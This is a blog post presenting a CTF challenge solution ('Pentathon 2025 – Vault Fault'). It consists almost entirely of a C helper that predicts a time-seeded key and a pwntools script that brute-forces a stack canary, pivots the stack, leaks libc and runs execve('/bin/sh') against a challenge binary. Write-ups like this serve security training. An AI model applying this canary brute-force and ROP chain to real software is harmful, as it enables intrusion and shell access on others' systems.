Post

Pentathon 2025

Vault Fault

Explanation

Solution

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand(time(NULL) / 5);
    printf("%c", rand() % 256);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3

from pwn import *

exe = ELF("./lockboxx_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]

gs = '''
set follow-fork-mode child
b * update_master_password+290
c
'''


io = process(exe.path)
# io = remote("addr", 1337)

with process('./helper_patched') as helper:
    key = helper.recv(1)

MASTER_PASSWORD = cyclic(29)
STORE_PASSWORD = b'1'
UPDATE_PASSWORD = b'4'

io.sendline(MASTER_PASSWORD)

canary = b''

while len(canary) != 8:
    for i in range(256):
        io.sendline(UPDATE_PASSWORD)
        io.sendline(MASTER_PASSWORD)
        io.send(flat({
            'kaaa': canary + (i).to_bytes()
        }))
        io.recvuntil(b'Updated Master Password.\n')
        status = io.recvline()
        if status != b'*** stack smashing detected ***: terminated\n':
            canary += (i).to_bytes()
            break
canary = u64(canary)
log.info(f'{hex(canary) = }')

gdb.attach(io, gdbscript=gs)

def get_formatted_payload(chain, key):
    chain = chain.ljust(104, b'\x00')
    fields = [
        (0, 31),
        (32, 15),
        (48, 23),
        (72, 23)
    ]
    xorred = bytearray(chain)
    for offset, length in fields:
        segment = chain[offset:offset + length]
        xorred[offset:offset + length] = xor(segment, key)
    yield xorred[0:32]
    yield xorred[32:48]
    yield xorred[48:72]
    yield xorred[72:96]

for i in range(1, 4):
    io.sendline(STORE_PASSWORD)
    io.sendline(str(i).encode())
    io.sendline(b'AAAABBBB')
    io.sendline(b'AAAABBBB')
    io.sendline(b'AAAABBBB')
    io.sendline(b'AAAABBBB')

io.sendline(STORE_PASSWORD)
io.sendline(b'4')
rop = ROP(exe)
rop.puts(exe.got.puts)
rop.rsi = exe.sym.PassList + 408
rop.rbp = exe.sym.PassList + 408 + 8
rop.raw(exe.sym.share_password + 39)
for field in get_formatted_payload(rop.chain(), key):
    io.sendline(field)

new_stack = exe.sym.PassList+8 + 104 * 3

io.sendline(UPDATE_PASSWORD)
io.sendline(MASTER_PASSWORD)
io.send(flat({
    'kaaa': canary,
    'qaaa': new_stack-8,
    'saaa': 0x00000000004017c3, # leave ; ret
}))

io.recvuntil(b'Updated Master Password.\n')
puts_leak = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = puts_leak - libc.sym.puts
log.success(f'{hex(libc.address) = }')

rop = ROP(libc)
rop.rdi = next(libc.search(b'/bin/sh\x00'))
rop.rsi = 0
rop.rbp = exe.sym.PassList+416 - 8
rop.raw(libc.address + 0x00000000000981ad) # pop rdx ; ret
rop.raw(0)
io.sendline(p64(canary) + p64(libc.sym.execve) + rop.chain())

io.interactive()
This post is licensed under CC BY 4.0 by the author.